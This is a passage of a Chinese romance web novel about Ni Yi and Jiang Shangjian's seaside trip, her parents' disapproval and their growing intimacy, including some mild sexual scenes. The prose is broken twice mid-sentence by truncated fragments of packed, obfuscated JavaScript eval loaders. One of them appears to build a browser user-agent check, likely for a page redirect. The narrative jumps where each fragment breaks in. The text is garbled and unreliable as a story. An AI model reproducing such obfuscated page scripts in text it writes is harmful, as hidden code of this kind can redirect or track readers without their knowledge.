神凭什么给肮脏子民道歉? 倪旖什么都不知道,还总傻乎乎把奶茶放丁戈晖桌上,吸管上留着牙印。 她甚至偷偷希望倪旖永远考得比她好,这样她就能理直气壮恨着。 恨多简单啊,像把刀,捅进去就能见血。 恨倪旖解题时转笔的散漫,恨倪旖升旗时绷直的脊背,恨倪旖永远游离在规则之外的自由……最恨的是自己不敢像那狗男的一样坦荡地迎着光走向倪旖。 幻觉里倪旖蹲在她面前歪头笑:“丁戈晖,我们当朋友好不好?” 她会说,好。 可倪旖偏要对她好,就算此刻烧烤摊前,她故意打翻一杯柠檬汁奶昔,蹲在地上一点点擦干净桌面缝里的半凝固状液体。 丁戈晖看着她发旋中央小小的旋涡,突然想揪住她头发。 丁戈晖好想问:你到底要我怎么办? 她从来学不会恨,她只是太疼了,疼到必须骗自己这是恨。 可是丁戈晖啊,你连恨都恨得这么窝囊。 这两天尴尬的何止倪旖,蒋商鉴此刻也面对极大挑战。 “对不起,我还有事。”蒋商鉴淡漠扫视一眼倪旖父母,步履不停缓慢离开,垂眸瞬间那滴泪愕然落下模糊屏幕上景物。 大堂连廊那里排放着一长列深棕色单人沙发,面西幕墙镶嵌着一长溜透明玻璃。 蒋商鉴任意找一张沙发,将自己扔进去,将腿伸开,人往后仰,脑袋抵在沙发背托上,闭眼假寐,缓解情绪。 暮色倾泻下来,如明亮的瀑布,一种巨大释然包裹着蒋商鉴,想欢呼雀跃,又想大哭一场。 连廊很安静,没脚步响,也没人语声,只左手边隔两三个位置,有个女生趴沙发戴耳机打游戏,右手邻座位置,一个大学生模样人戴着副白耳机出神,膝盖处摆放哲学书籍《树上的男爵》。 灵山岛是北方第一高岛屿,坐船才能到,往返船票80,岛上观光车30。 开观光车是散车,没统一公司,坐谁家都差不多,都是这几个景点,飞来石、烽火台、老虎嘴、灯塔、贝壳楼。 下午两点多是最后一班船回陆地。 倪旖接到父母电话就匆匆忙忙搭船过来。。 海岛诗情民宿一般是由当地渔民开的,连锁酒店很少。 小岛也就这一家酒店稍微大些正规的。 倪旖拖着行李箱去民宿,钻屋里,累得够呛,一下倒床上,从外套兜里掏出手机来,给蒋商鉴打电话。 “嘟嘟嘟嘟——” “喂——” 倪旖听见略带笑意的声传来,一下午疲倦难受都扫荡结束,在床上滚一两圈才小声说:“对不起,误触碰,打扰啦,我先挂掉。” “说罢。”蒋商鉴语气温和,眼睛憋得微微发红。 “我父母跟你说什么?”倪旖没忍住感慨,攥着枕头玩着蕾丝边角。 “没什么。”蒋商鉴着实有些疲倦,眯眼靠大堂沙发无法避免觉得悲哀。 “我现在在岛上唉,你在哪个酒店?”倪旖说罢就来劲,晚上一个人无聊,想召集人一起打牌搓麻将。 “最大那家。”蒋商鉴咳嗽两声。 “我在西区第七间,你在哪?”倪旖说着就攥Kelly小包拧着门把手出去。 “大堂。”蒋商鉴哽咽一下。 温柔暮色如同稚童耍脾气弄翻的画板,肆意泼洒,而海面风平浪静,小船在海中翱翔,沿山峰白色斜面,滑过云彩诡谲橙橘色影子,就像移动的湖。 倪旖本来的喜悦变为不知所措。 蒋商鉴掀起波澜,却也平静:“有没有吃晚饭?” “吃了蟹膏。”倪旖说玩笑话,心里全都是焦虑不安,涂一层保湿防晒霜,指腹绕两腮往外旋转、抚摸,就像星球绕着宇宙既定轨迹运动一样。 远处城市模糊地横卧在灿烂彼岸,头顶应景似的低垂着厚厚黑云。 倪旖进了东区里买烤冷面,烟熏火燎,老远就能看见。 老板叫每个女生“美女,烤冷面好了”。 轮到倪旖“诶,内小孩儿,你吃的好了。” 倪旖一边接过打包盒,一边着急嘟囔着:“我不是小孩儿。” “嗯,内小孩儿。” “……” 倪旖再说下去就出事,鬼知道她现在还跟明星似的,还有人拿手机摄像,逃荒似的捂脸颊就跑。 风从楼前树梢掠过,带起一阵温柔的浪,连带灯影也轻轻荡漾起来,薄纱似的暧昧,倪旖白裙涟漪似的跳动。 “她像杰瑞的表弟,好可爱。” 顺着纯白雕木连廊往里走,倪旖得空瞥一眼手机信息栏。 蒋商鉴:D19,带点酒。 倪旖预备把热的烤冷面给他放门口就行,然后给前台服务员让送点红酒,可还没敲门,一条小缝就留着。 “死了没?”倪旖知道此刻不能安慰,偷偷凑上去朝里看情况,指尖戳进缝隙里小幅度搅和空气。 突然,指尖一暖,被攥住。 “尸斑都出来了。”蒋商鉴强撑着笑意,拉开门俯身将人搂怀里,一点一点加重力,压缩空气的泵似的贴近。 倪旖挣脱开,反手撑着拉大门缝,瞳孔放隔开点距离,跟得了瘟疫似的,十分害怕说:“干嘛?” “好,去海边,陪我,你在前,我隔十米距离跟着。”蒋商鉴双手举着一副投降姿势,垂眸时眼皮有些笑意,恣意张扬猛一抬,无奈扯着唇角。 “行,记得带脸基尼。”倪旖退至安全区域,两手比划脑袋,四周旋转。 “我都不配拥有脸吗?”蒋商鉴懒懒散散靠墙边,也没着急离开。 “嗯,我该夸你有自知之明。”倪旖两眼四周瞥怕有人路过,转身从包里掏口罩戴上,随后勾了勾指尖,“给我一个短袖,我手动制造脸基尼。” “我刚换下一件,可以吗?”蒋商鉴撑着门捞起扔地面上的衣裳。 倪旖抗拒溢于言表,晃了晃手机,转身就想逃跑:“咦咦咦,你好恶心,我走啦。” 蒋商鉴攥住她胳膊,随后轻轻放开,在暗处嘴角轻轻扯动:“等我。” 倪旖从兜里掏出袋酸奶喝,戳吸管的时候不小心把奶溅他镜片上,有点尴尬着解释:“让我等你的代价。” 蒋商鉴把眼镜取了下来擦拭,捞起一个克莱因蓝棒球帽盖脑门上就出去,跟她没肢体接触,就在旁边默默的。 “左飞飞,右飞飞,哈利波特骑着魔法扫帚飞。”倪旖看笑话就想分享,两只手比作翅膀绕他四周按圈圈溜达。 “你确定不要脸?”蒋商鉴瞥一眼倪旖,让她别闹,周围有人拍摄。 她近期处于娱乐暴风圈里。 因为跟他的事情传出来。 倪旖持续疯癫,吓得喘不过来气,她像处于楚门的世界,四周都是监控,搞怪做个鬼脸,偷偷再说个笑话:“我想吃蒜蓉粉丝烤制扇贝,可以吗?” “可以。”蒋商鉴预感大事不妙。 “谁去买啊?”倪旖默默将话题给他接过去。 “都行。”蒋商鉴都会破解她套路。 都行等于……你去。 “我记得你爱吃海里的。”倪旖心口梗下,攥着他袖口小幅度晃悠。 蒋商鉴俯身用手指尖勾着她Kelly,生硬直接转移话题:“包这么小,能装什么啊你?” 倪旖攥着包带掉入陷阱而不自知,往边上退两步,抬眸警惕认真,用指腹轻轻点一下金属锁扣,甜腻腻说:“装可爱呀。” “装傻充愣。”蒋商鉴迈开步伐往前走,垂眸时唇角微微上扬,扭头时还不忘提醒,“你去。” “唉,”倪旖快速反应逃单,拧开锁扣朝里看,假装没看见那沓红票子,眉头皱皱无辜抬眸,“没带钱。” “手机。”蒋商鉴偏头下巴一抬,眼里是只有跟她同框才有的少年气。 “其实……这是块板砖。”倪旖睁着眼睛说瞎话,只是没撑住笑了场。 “砖还会亮唉。”蒋商鉴顺她话头继续往下故意逗她。 倪旖瞥一眼还真亮屏。 倪旖欢笑闹腾全然冷静,偷偷钻到一片绿意灌木丛边蹲下接通电话,甚至紧张到一直揪叶子。 “倪旖,我们跟小蒋聊过你俩的未来,他可能觉得被冒犯,你安慰一下。” “你们说了什么?” “你可以自己问他。” “还打哑谜。” “宝宝,爱是不能消弭差别的。” “妈,给我点时间。”倪旖攥着硌手枝条,心脏窒息似的喘不上来。 倪旖抿唇有点压抑,刚准备起身,头顶就有魔音贯耳——“你妈啊?” 倪旖吓得蹲倒在灌木丛,周围星星点点紫色小花骨朵,白眼下他,胳膊肘撑着灌木,腰肢用力踉跄几下站起来。 倪旖就见他叉腰旁观嘲笑着,被噎住感慨:“我的命也是命。” “我没说脏话。”蒋商鉴满脸疑惑。 “智慧的气息扑面而来。”倪旖攥着包带就埋头走,嘴巴气得撅起来。 蒋商鉴就跟在她身后,就是女孩生气手特别难抓,活泥鳅似的乱蹿,碰着也无法攥手里,她简直火影忍者上身。 倪旖脸无血色,整个人苍白无力,眼底那遮掩不住的颓然笼罩全身。 一路默默,等夜深人静,倪旖走到黑礁石,熟练躺平整处,潮起潮落朝朝不休,一浪卷起千堆雪。 “饿不饿?我有饼干。”倪旖从小包里摸出曲奇酸奶饼给他丢去,随后舒舒服服躺着,就算有点凉屁股。 蒋商鉴两手一捧,反手撑着礁石坐一边,春江花月夜散落四周,远处只剩一两家渔家亮灯,零星几盏路灯亮着淡橘色的光。 倪旖掰了一半生巧递给他,巧克力包裹在锡纸里面,含嘴里要嚼很久粗粝苦涩感才消失,留丝醇厚缠绕舌尖。 “商商,你躺着啊。”倪旖拍拍黑礁石招呼他同榻。 蒋商鉴便也躺一边。 “不生气,好不好?”倪旖攥着他衣袖角偷偷晃晃撒娇,甚至指腹悄悄勾挠下他腕骨。 “干嘛?”蒋商鉴猛地一挪。 “还挺刚正不阿。”倪旖蹭黑礁石往他那边慢慢挪去,依旧攥着他袖口,他穿牛仔外套御寒,粗粝感摩挲着手。 蒋商鉴故意提一提胳膊肘,出其不意攥住她温热掌心,十指相扣轻轻揉着,暧昧下似乎揉的不是手。 “水还挺多。”倪旖不想听矫情,偷偷拆他架子,右手被揉到略微酥麻。 “……”蒋商鉴苦恼好一番。 “商商,我等会儿给你发篇paper,奥尼罗非鱼杂种优势形成机制。”倪旖觉得和喜欢的人一起工作学习就很甜腻。 “工作时称呼职务。”蒋商鉴看她嬉皮笑脸相迎就想杀杀威风,她磨蹭着搞论文都不上心,贪玩得厉害。 “唉,摆架子干嘛。”倪旖不乐意。 蒋商鉴一瞥,眼里意味隽永。 “好的,蒋坚果。”倪旖抬眸委屈巴巴小模样,撅着嘴闹小脾气。 “排版得调整,现在回去拿电脑开工,你任务紧张。”蒋商鉴说着便起身将人拉起来,不由分说就拽人干活。 “你工作狂啊?”倪旖小跑着,晃着他手掌,小可怜撒撒娇。 蒋商鉴摸不清他套路,只是垂眸时她眼里亮晶晶的,笑起来总是那样甜腻。 “商商。”倪旖身体被酷似泡海水那种舒适的倦怠感所包裹,飘浮在袅袅海风中摇荡一般懒散。 “干嘛?”蒋商鉴胳臂肘关节顺势抬起来靠她肩膀上,垂眸浅笑。 “懂?”倪旖攥着他腰间衣裳,抬眸时有些意外,还笑得甜蜜。 “傻子。”蒋商鉴不敢承诺,他没能力干干净净带她回家一起做早餐。 “你是才傻呢。”倪旖眼里氤氲水雾,面部肌肉由于情绪酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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海面变成混浊紫色,微凉夜风吹拂着面颊,倪旖在黑石礁海滨跑来跑去,攥着跟长满青苔的小木棍戳戳缝隙里小螃蟹,雨点噼里啪啦落下来。 蒋商鉴就坐黑礁石看着她闹腾。 “小螃蟹哦,”倪旖炫耀着,将手里小螃蟹直接往他身上丢,突然闷闷哼声,猛缩腿暗自低声叫唤,“脚痛。” 蒋商鉴往边上偏,躲避突如其来飞向他的小螃蟹,刚准备啐几句,顺她话语往下看,大脚趾被夹得汩汩鲜血流出。 九皋鼻和鹤鸣鼻两座岩礁,黑森森向海里伸延,渔网深蓝色泡沫点点漂游于视野最远处,滔滔奔流,在沙滩边缘卷着米白色涟漪,然后缓缓消融在细软沙里。 蒋商鉴半蹲礁石面,捧着她浑圆的脚后跟,在磨损颗粒草底坚硬石头硌着,用卷起的衣袖擦擦她的鲜血,随后用力拿拇指死死挤压着血管防止继续流。 “你谋杀吗?”倪旖忍几分钟用脚踹他肩膀,牛仔外套胸口沾一点血渍。 蒋商鉴倒在黑礁石上,略显无语拍拍掌心,指尖着自己胸口,怪里怪气来一句:“我这驴肝肺能卖几块钱?” “回去吧。”倪旖蹲地上咬牙准备把鞋穿上,只是鞋硌着伤口痛得厉害。 “我背,一次五块钱。”蒋商鉴扯她胳膊一下拉起,左手拎她小白鞋,往上托给人扛背上,缓缓顺着礁石离开。 “试用期免费,好吗?”倪旖伸出手搂住他脖颈,下巴磕在他头上,轻轻的鼻息萦绕般缓慢扑他耳尖。 蒋商鉴没说话算默认。 “你吃吗?”倪旖肚里咕咕叫,从小包里掏塑料容器里的蕨粉糕,只客套下,将那浇糖浆的蕨粉糕含嘴里。 “这玩意看着就恶心。”蒋商鉴总觉得那种膏状物体莫名泛腥臭,就像是逐渐冷却的那大盆猪血冻。 “蕨粉糕和男孩子的舌头很像,感觉像接吻。”倪旖笑得青涩。 “哦?”蒋商鉴些许意外,她从来不缺男孩的喜欢,之前谈个对象也正常。 倪旖跟他开始加密聊天:“准确来说,跟商商舌头一样呢。” 蒋商鉴仰脸看着夜空点点繁星,压抑不住蠢蠢欲动欲念,那灵与肉的渴望交缠而至。 蒋商鉴眼睛带些少年时瞒着人恋爱神色,秘密的,热切的,心心念念着,总想吹口哨,就吹着玩了。 “第一天见你也是这样哄我的。”倪旖脑袋搭在他肩头,就像中二时期把发热的面颊埋在柔软积雪里般,想那么恋爱一下看看。 “你攥着一堆水晶手链问我哪个辟邪,好傻。”蒋商鉴想那天就头疼,怎么哄她都要回家,吃麦旋风时短暂不哭,吃完就哭,钱包掏空给她买糖堵嘴。 “就是很想妈妈嘛。”倪旖说着又难受起来。 “要不是你父母出差给我打电话,你死了我都不管。”蒋商鉴那天真是憋火气四处调监控找人,他急得不行,她却在家属区玩儿童滑滑梯。 倪旖偷偷磨蹭他喉结:“蒋商鉴,那我丢了,你会难受嘛?” “我巴不得你滚,别说话。”蒋商鉴无法回答问题,天空低沉,装满雨水,仿佛胀破,雨水倾泻到大地。 蒋商鉴将人放落脱外套给她蒙脑袋,弯腰打横抱起一路跑着。 “手机潮湿咋整?”倪旖瞬间感到一种湿漉漉的,像是吸了水的海绵似的沉重的心情。 “拿吹风机吹吹就行。”蒋商鉴也没多在意手机,毕竟重要的是电脑,手机里就是通话联系,没重要东西。 倪旖想多打探些,便问:“蒋商鉴,我父母跟你说了什么?” “没什么。”蒋商鉴脸色微变,冷冷冰雨灌脸颊上,羞愤涌上心头。 “那你准备答应嘛?”倪旖打哑谜,知道蒋商鉴听得懂,他俩就差层窗户纸没捅破,得一方先低下脸面求着。 “不准备。”蒋商鉴瞬间做好决定,不然以后没法面对如此可爱的倪旖。 倪旖软糯道:“那……我们还是男女朋友。” “嗯?”蒋商鉴抿嘴偷笑,瓢泼大雨转为飘洒濛濛细雨,海面浓雾像是迈着缓慢而又庄重的步伐行走着的幽灵,凝结哀伤的眸色。 倪旖娇羞得不成样,偷偷摸摸他滚动喉结。 “不是。”蒋商鉴只得转移话题,实则有隐情,见前方是寥寥匆忙找屋檐的路人,便将倪旖放下怕惹口舌。 “惺惺作态。”倪旖嘲弄一番。 看到蒋商鉴靠近柜台,那两位迎宾前台小姐连忙止住玩闹的笑容,换上职业性的微笑,躬身用清脆甜美的对她声音说有什么需要帮助吗。 “一瓶酸奶。”蒋商鉴从大厅沙发起上跟前台小姐说。 倪旖一怔,只茫然地看着他,点了点头。 捏着酸奶转身瞬间,倪旖嘴微撇,很细微,细微到她笃定蒋商鉴没看出来,跟在他身后顺着消防安全通道去顶楼天台,她走过去,双手穿过他腰侧,慢慢抱住他脊背。 “干嘛啊?”蒋商鉴转而俯身将人搂怀里,轻轻嗅一口,有些震惊,“你好香啊,奶香,蛋糕奶油的味道。” “香草蛋糕沐浴啫喱。”倪旖抬手给他嗅嗅味道。 “嗅得我想吃蛋糕了。”蒋商鉴轻轻咬一口她脸颊上软肉。 “我是个人,咬一口痛。”倪旖害怕地往后挣扎两步。 47.笨蛋 蒋商鉴又低头嗅了几下。 倪旖浑身仿佛触电般,那股暖流瞬间蔓延全身,空气里好像全是甜腻味道。 原来当你喜欢一个人后,你会发现他的气息都是你喜欢的。 两个人在一起,不用做什么,只是靠在一起,空气就会莫名甜腻。 倪旖皮肤一接触到他微凉手腕就起了一层密密麻麻的鸡皮疙瘩,手轻轻移到他脊背上,沿着脊梁往下抚摸,小心翼翼试探性询问:“商商,我父母到底说了什么?” “就说有什么困难他们能解决,然后又说了丁越青,你的表面未婚夫,说他家权势滔天,能给你不降级的生活品质。”蒋商鉴背部肌肉被指尖轻轻触动到痉挛,像飞蛾临死前脆弱的颤抖。 “这么直接?”倪旖头皮都发麻,攥着他后背睡衣,下巴磕在他胸前,偷偷地蹭着他胸口。 蒋商鉴停顿一会儿,眼里立刻湿润,轻轻道:“我觉得你父母说得很对,但我舍不得,你是我的。” 倪旖抬手摸摸他脸颊,有点心疼,略微带点哽咽哭腔:“嗯,我是你的。” “别哭啊。”蒋商鉴拿手掌给她擦擦脸,那湿漉漉的眼睫不停颤着,眼里在暗夜中都带着一点光影。 “嗯。”倪旖攥着他腰间衣裳,连鼻尖都憋得有点红。 “倪旖,我想吻你。”蒋商鉴盯着她洋溢着青春光线的眸色。 倪旖脸颊带一点羞赧。 蒋商鉴用拇指腹轻轻地蹭蹭她温软的脸颊。 倪旖躲躲闪闪,欲盖弥彰。 蒋商鉴光明正大地含笑注视。 “不准看。”倪旖抬手捂他眼睛,灰黑色身影原本强作镇定看天台景物,稍微瞥一眼他那浸泡着爱意的眼睛,她顿时脸红到脖子根。 蒋商鉴跟逗狗似的一下将她发圈攥下来,偏头逗着她蹦来蹦去抢回,微带着喘息声道:“这么好看的姑娘不得好好看看?” “商商,接吻吧。”倪旖发丝飘逸着,食指和拇指不安地捏着被吹开的风衣,用害羞语气说着这话,心里却泛起一阵强烈酸楚。 一直以来渴望着的温暖,生平第一次拥有的温暖,当吻上她的唇时,蒋商鉴感觉心脏颤抖着紧缩成一团,喉咙也痛得厉害,温热液体冲破情感禁锢喷涌。 倪旖替他擦着湿润的泪痕,不停回应他脆弱的深吻。 他们快窒息了。 风越来越大,远处时而有狗吠声。 “天台冷,我们回去。”蒋商鉴将人搂着在怀里,哄着下楼去。 “蒋商鉴。”倪旖抬眸时带着鸡贼。 “嗯?”蒋商鉴一看那眼神,就双手举高往后退两步,一副了然叹口气。 “没打算偷偷使坏折磨你,”倪旖噗嗤一声笑出来,往后退两步,手伸他睡衣口袋挠几下,“过来过来嘛。” “有事?”蒋商鉴有点子害怕,倪旖皮里阳秋的,擅长不动声色地折磨人。 “你要答应我,不许扛不住压力。”倪旖就有一种不安,总觉得他会一声不吭跑掉。 “我尽量。”蒋商鉴鼻尖一酸,他不敢说大话。 “哪有这样?”倪旖十分不满意,跟小孩子耍赖似的一直拖胳膊不让走。 她晓得爱就爱,不爱就是不爱,犹豫就是不爱,准确来说,爱对他来说最早抛弃。 “可我怕食言。”蒋商鉴就用身体挡了挡梯子,怕她磕着碰着。 倪旖眼里委屈在安全灯光绿莹莹中漫开。 “先回去。”蒋商鉴叹息,可还是不愿意欺骗倪旖。 “你说嘛,不说我就不走。”倪旖往后退两步,誓死守卫最后尊严,内心还是小倔强隐隐作祟。 “那你就不走吧。”蒋商鉴说着做事就转身要离开。 倪旖有点着急撒娇道:“我不走你不心疼吗?” “你使劲不走,我使劲心疼。”蒋商鉴被折磨不是又没理由,就这嘴欠一条竹杠就得被她敲脑壳。 “……”倪旖语塞一会儿,防止等会儿被撂下丢脸,便作势叉腰往下走,还没走两步就见他张开怀抱,“你要是火化,嘴巴一定还很硬。” 倪旖蹦跶下去。两只手攥他手腕往下拉。 “给你男朋友留点尊严吧。”蒋商鉴使劲捏着她脸颊。 倪旖直接上嘴咬他手腕,然后快速逃窜。 蒋商鉴将手甩开,猛地往前多走两步跟上倪旖步伐,等进了屋,懒懒地歪沙发上,攥着枕头玩偶就打盹儿。 “咚咚——” 倪旖听见门被敲几下,查看门眼,等酒店服务生走后将小蛋糕盒端出来,灯已经熄灭,影影绰绰那蜡烛摇曳的影飘荡,她半蹲在沙发面前,用指尖戳戳他垂放的手臂,邀请道:“吃蛋糕吗?” 蒋商鉴扶着额浅笑道:“谢谢。” 倪旖等他坐沙发上,自己则盘腿坐地毯上,脑袋靠着他膝盖,抬眸时略微带点抱怨:“溜达一圈,饭都凉了,赶紧的。” 蒋商鉴捧着轻微凉的饭,将那板栗烧鸡给他她夹几块:“你吃□□,我吃板栗。” 倪旖一愣,嘴角抽动道:“好糟糕的话啊。” “哎呦我天,”蒋商鉴上手揍脑袋,使劲晃晃里面多少水,感慨道,“你看了多少乱七八糟的东西。” “同道中人?”倪旖坏笑几下。 蒋商鉴着实给整无语,略微皱眉敷衍道:“赶紧吃吧你,饭都堵不住嘴。” 倪旖来劲儿,抻胳膊肘去够遥控器说:“你吃,电视ktv打开,送你一首甜甜蜜蜜小甜歌,庆祝你第一次勇敢。” “我哪里怂?”蒋商鉴捧果汁,等着她现场版歌唱,她直播经常唱歌,她大学期间参加歌唱比赛还给班级拿了奖。 倪旖闭着眼跟节奏慢慢地摇头,非常享受地开口:“悄悄地释放出暧昧的气息……” 暧昧的暧字特地强调。 “轻轻柔柔的想念……” 倪旖捏话筒晃悠起来,捏着卖家,又是抖肩又是踩脚感节奏,非常元气。 倪旖继续放歌就不唱,一个滑跪入爽扑在他膝盖边,抬眸询问:“接。” “不会。”蒋商鉴眼神飘忽不明。 倪旖捧小蛋糕凑过去轻轻地说:“今天不是情人节,所以祝你儿童节快乐。” “……有必要联系吗?”蒋商鉴有点子没反应过来,还是生理冲动吹灭。 “没有啊,就想给送你蛋糕找个理由而已,恰巧今天是儿童节。”倪旖捧着很小的蛋糕,最多4寸,笑得愉快。 “挺敷衍。”蒋商鉴乐呵两声,随后用手指勾点奶油直接往她脸上抹,得瑟地晃了晃肩膀。 “好脏呀。”倪旖用手挠挠颧骨。 蒋商鉴在实习期间在海鲜养殖项目时经常在海里溜达,颧骨和鼻梁上的晒斑像残留在杯壁上茶叶末。 倪旖用手触碰下还没弄到奶油。 蒋商鉴凑上去将那抹奶油吮掉,无所谓转移视线道:“好甜。” “跟小狗一样还舔我脸。”倪旖扶额头看着他那小狗般亮晶晶的眼睛,真的很乖,低头羞涩得一直抠桌面边沿。 “谁上辈子是我的狗?”蒋商鉴啄一下她唇。 倪旖甜腻得一下笑出来,然后就停不下来。 蒋商鉴也得瑟地笑笑,笑弯腰,倒地毯上使劲笑。 笑了好一会儿,两个人眼里都有泪。 倪旖找前台要了一瓶红酒盒俩高脚杯,就坐地毯上歪靠他大腿内侧。 蒋商鉴晃着红酒杯,眼里带着点微醺感,盈盈水光就这么笼罩着瞳孔。 倪旖跟他碰个杯,清脆玻璃碰撞声刺激神经。 “倪旖,”蒋商鉴还是吞下要说的话,笑了笑,“没事。” 倪旖心提到嗓子眼稍后又稳稳当当落下,笑道:“说啊。” “我爱你。”蒋商鉴鼻子堵住,说话声音都自然沉。 倪旖估计他淋雨感冒,带点气泡,鼻音气短,每个字之间都有轻微喘息,一带而过的喘息细若游丝,很像事后那种慵懒松弛的感觉,早晨他自然醒来就有这种感觉。 连轻微的吞咽和闷闷笑的嗓音非常涩,一听就让女人脸红的那种。 “Congratulations。”倪旖没过脑子就感叹。 蒋商鉴鼻音气短轻微咳嗽两声,带点喘息声道:“Congratulations?” 这个词一般用于祝贺有艳遇的人,很明显就暴露她联想到坏坏的事情。 倪旖心脏窒息一瞬被猜破想法,有些慌张解释:“不是那个意思。” 蒋商鉴闷闷一笑:“嗯~” 倪旖都不敢想他说这个词甚至送了一下气息,弄累了之后松弛喘息。 倪旖倦怠之后就去卫生间洗漱,一股脑钻被窝里刷视频,直到被手机砸着脑壳刺激痛感,才迫不得已陷入睡眠。 蒋商鉴半盘腿坐地毯上将paper排版修改,等目标任务完成后就安安静静刷牙,就自然钻到倪旖空着的那边被窝。 倪旖一直麻痹醉醺醺感觉,脑壳痛,还有心理异常憋屈难受,蒋商鉴喝醉酒工作模样真的很撩,只稍微喘息声重一点就撩到你耳朵发红。 “蒋商鉴,要坚持住。” 他一愣,轻声呢喃。 “普通人最容易割舍的就是感情。” 倪旖没听见。 倪旖内心的懊恼与奇异的渴望交缠而至,一只默默存了许久的小糖果玻璃罐不禁开始晃动起来。 哗啦。哗啦。 糖果从逐渐歪斜的罐口洒了出来,叮铃咚隆掉出几颗冰纷水果糖。 罐子没破。 倪旖却已经想破摔了。 天呐,她上辈子一定拯救地球。 蒋商鉴电脑本地文件课题声称找到负调控抗病毒先天免疫的基因. 现阶段投入了分子机制相关研究,其中,检测线粒体抗病毒信号蛋白(MAVS)的多聚化实验具有开创性意义。 倪旖就想参与那项目,跟他一起工作。 夜色下垂,所有枝桠都震颤不已,像是她模糊不清的秘密感到畏惧似的。 透过狭窄逼仄的窗帘缝隙,倪旖那孩子般的双唇上淡淡哀愁的皱褶好像消失在渐渐陷入睡眠的微笑里。 第二天倪旖睡得深沉,模模糊糊就喊蒋商鉴,想忙碌地奔去实验室。 “嗯?”蒋商鉴靠在床榻手指快速敲击键盘修改格式。 “你刚睡醒的声音好撩。”倪旖嘴角是幸福的笑,她揉揉眼睛,她就是爱蒋商鉴。 “嗯。”蒋商鉴抬手摸摸她头。 “我们昨晚睡一张床啦?”倪旖那平素泰然自若、毫不动容的脸上难得现出紧张倦怠,瞥见电脑屏幕上显示时间,都中午了。 “嗯。”蒋商鉴眼睛就没离开过电脑屏幕。 倪旖戳戳他脸颊,撒娇似的咕哝:“别工作了,抱抱我。” 蒋商鉴快速敲完字将文件实时保存,然后将电脑放柜架上,躺在床榻上将睡眼惺忪的倪旖搂怀里,笑得温柔:“还回味呢?” “又没干嘛?”倪旖呜咽一声。 “你想干嘛?”蒋商鉴笑得很崩溃。 “没想。”倪旖脸腾一下变红。 蒋商鉴吻她额,垂眸就深深望她,就像只剩最后一眼,那样脆弱,那样怀念。 倪旖就这样缩在他怀里仔细感受温热,亲亲她锁骨,小声嘟哝:“商商,我好爱你啊,像滚雪球越滚越大,昨晚刚整理好,现在好像又膨胀得装不下。” “你怎么了?”蒋商鉴鸡皮疙瘩掉一地。 “就说情话啊。”倪旖往上蹿蹿,直视他的双眸,抬手摸他脸颊,细腻得能触碰绒毛。 “哎呦喂,酸掉我大门牙。”蒋商鉴无奈摸摸她软腰。 倪旖一激灵,偷偷往他腰窝摸索。 “你干嘛?”蒋商鉴攥住她不老实的手。 “我们成年了。”倪旖企图挣脱,继续行不轨之举。 “但真要做了,对我俩都不负责,况且,你能保证你父母晓得后不会把我套麻袋里喂鲨鱼?”蒋商鉴拉着她手腕到唇边亲吻一下。 “不能,但别让他们晓得就好了。”倪旖想抓住他,无声紧迫感像死神镰刀悬在脖颈。 “你确定?”蒋商鉴摸摸她脸颊。 “你确定?”倪旖有样学样也摸他脸颊。 “好痒。”蒋商鉴躲开她手指腹。 “好痒。”倪旖不依不饶,食指覆他唇上,好似被学说话游戏惹恼,他直接咬住她指尖。 “嗯~”蒋商鉴就这么眉眼含笑,唇轻吮她食指尖,舌尖舔她微颤的指腹。 “你……你……”倪旖急得崩溃,她无法忽略他舌缠着手指那种烫意,跟舌吻触感不一样,她好奇得搅两下,他引诱般嘴角勾出弧度,含得更深,第二指关节被他挑衅,缴械。 “还要嘛?”蒋商鉴咕哝一声,引导她无处安放的另一只手去腰窝。 “你硬了?”倪旖眼睛亮晶晶。 “……”蒋商鉴也不跟她再闹,抽几张消毒湿纸巾擦擦她手指。 “哈?不继续?”倪旖在面色绯红里怀疑人生,咬手指就完事啦? “你啊,我们结婚后再做吧,”蒋商鉴笑得苦涩,“……如果能的话。” “你想过结婚?和我?”倪旖紧紧贴着他,无视所有凹凸不平,就好像他俩本该是连体般默契,他们有相同库,他们调用超链接,他们…… “倪旖,你不要勉强……” “我偏要勉强。” “那我变成蟑螂,你会爱我嘛?” “我会给你买最贵的蟑螂药,如果我变成蟑螂呢?” “踩死你。” “……”倪旖笑了一声,“那我要是变成面包狗呢?” “赶紧吃了呀,不然会过期的。”蒋商鉴秒变石矶娘娘,夹着声音,凑上来,跟吸猫一样吸她脸颊软肉。 “你猜,商商要变成面包狗,我怎么办?”倪旖笑出酒窝,被他舔了一下,痒痒的,酒窝更深了。 “抛弃他吧。”蒋商鉴玩笑里藏着落寞。 “当然不会啊,我会变成香肠狗,来陪你的,我们就是完整的热狗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倪家强到连烂泥都能扶持,何况一个蒋商鉴。 “我知道了。”倪旖叹息,她有时候必须牺牲个人利益成全家族荣誉,老实来讲,要是带蒋商鉴参加家族聚餐,肯定会被戳着脊梁骨子嫌弃。 傍晚天气阴凉,海风湿润,落叶终究是要落下的,不是风的锅。 倪旖挂断电话,失魂落魄等luke将菲佣做的晚餐送过来。 她想缓解不安情绪, 要是蒋商鉴顶不住压力,她不会责怪的。 还没走上解剖实验楼,蒋商鉴就顺着楼梯慢慢悠悠晃荡下来。 他估计是被父母约谈刺激到,性情都朝着极端来,鼻孔朝天,一副目中无人、山巅积雪般的模样,这两天被暴晒出的颧骨和鼻梁上的浅斑像残留在天青色汝窑杯壁上的茶叶末,星点清晰。 “来得够早?”蒋商鉴接过她的餐盒,转身肩并肩上楼去。 “你怎么下楼来?”倪旖偷偷靠近他一点点,他穿实验白大褂,那纯天然的松弛感很撩人,身上一股鱼腥味儿,估计解剖鱼类。 “楼道灯坏了,你肯定得害怕,出去吃日料还记我呢?”蒋商鉴开玩笑很牵强,总觉得两人间气氛在莫名其妙发生改变。 “你在做什么研究?”倪旖凑进他袖口用鼻尖嗅嗅味道。 